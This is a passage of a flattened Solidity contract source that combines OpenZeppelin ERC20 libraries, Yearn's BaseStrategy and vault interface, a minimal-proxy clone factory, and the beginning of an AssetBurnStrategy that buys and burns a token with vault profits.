* - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: iearn-finance/yearn-vaults@0.3.5/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/ERC20Burnable /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // Part: iearn-finance/yearn-vaults@0.3.5/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.3.5"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external virtual view returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external virtual view returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public virtual view returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit - _loss`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCost The keeper's estimated cast cost to call `tend()`. * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCost) public virtual view returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCost The keeper's estimated cast cost to call `harvest()`. * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCost) public virtual view returns (bool) { StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 totalAssets = estimatedTotalAssets(); // NOTE: use the larger of total assets or debt outstanding to book losses properly (debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding); // NOTE: take up any remainder here as profit if (debtPayment > debtOutstanding) { profit = debtPayment.sub(debtOutstanding); debtPayment = debtOutstanding; } } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by governance or the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault) || msg.sender == governance()); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } */ function protectedTokens() internal virtual view returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // Part: iearn-finance/yearn-vaults@0.3.5/BaseStrategyInitializable abstract contract BaseStrategyInitializable is BaseStrategy { event Cloned(address indexed clone); constructor(address _vault) public BaseStrategy(_vault) {} function initialize( address _vault, address _strategist, address _rewards, address _keeper ) external virtual { _initialize(_vault, _strategist, _rewards, _keeper); } function clone(address _vault) external returns (address) { return this.clone(_vault, msg.sender, msg.sender, msg.sender); } function clone( address _vault, address _strategist, address _rewards, address _keeper ) external returns (address newStrategy) { // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone_code, 0x14), addressBytes) mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) newStrategy := create(0, clone_code, 0x37) } BaseStrategyInitializable(newStrategy).initialize(_vault, _strategist, _rewards, _keeper); emit Cloned(newStrategy); } } // File: AssetBurnStrategy.sol contract AssetBurnStrategy is BaseStrategyInitializable { using SafeERC20 for ERC20; using Address for address; using SafeMath for uint256; VaultAPI public underlyingVault; address public asset; address public weth; address public uniswapRouterV2; address public uniswapFactory; address[] internal _path; uint256 constant MAX_BPS = 10000; uint256 public burningProfitRatio; uint256 public targetSupply; modifier onlyGovernanceOrManagement() { require( msg.sender == governance() || msg.sender == vault.management(), "!authorized" ); _; } constructor( address _vault, address _underlyingVault, address _asset, address _weth, address _uniswapRouterV2, address _uniswapFactory ) public BaseStrategyInitializable(_vault) { _init( _underlyingVault, _asset, _weth, _uniswapRouterV2, _uniswapFactory ); } function init( address _vault, address _onBehalfOf, address _underlyingVault, address _asset, address _weth, address _uniswapRouterV2, address _uniswapFactory ) external { super._initialize(_vault, _onBehalfOf, _onBehalfOf, _onBehalfOf); _init( _underlyingVault, _asset, _weth, _uniswapRouterV2, _uniswapFactory ); } function _init( address _underlyingVault, address _asset, address _weth, address _uniswapRouterV2, address _uniswapFactory ) internal { require( address(want) == VaultAPI(_underlyingVault).token(), "Vault want is different from the underlying vault token" ); underlyingVault = VaultAPI(_underlyingVault); asset = _asset; weth = _weth; uniswapRouterV2 = _uniswapRouterV2; uniswapFactory = _uniswapFactory; if ( address(want) == weth || address(want) == 0x6B175474E89094C44Da98b954EedeAC495271d0F ) { _path = new address[](2); _path[0] = address(want); _path[1] = asset; } else { _path = new address[](3); _path[0] = address(want); _path[1] = weth; _path[2] = asset; } ERC20(address(want)).safeApprove(_uniswapRouterV2, type(uint256).max); // initial burning profit ratio 50% burningProfitRatio = 5000; // initial target supply equal to constructor initial supply targetSupply = ERC20(asset).totalSupply(); want.safeApprove(_underlyingVault, type(uint256).max); } // ******** OVERRIDE THESE METHODS FROM BASE CONTRACT ************ function name() external view override returns (string memory) { // Add your own name here, suggestion e.g. "StrategyCreamYFI" return string( abi.encodePacked("StrategyUbi", ERC20(address(want)).symbol()) ); } /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view override returns (uint256) { StrategyParams memory params = vault.strategies(address(this)); return Math.min(params.totalDebt, _balanceOnUnderlyingVault()); } function estimatedTotalAssets() public view override returns (uint256) { return _balanceOfWant().add(_balanceOnUnderlyingVault()); } function _balanceOfWant() internal view returns 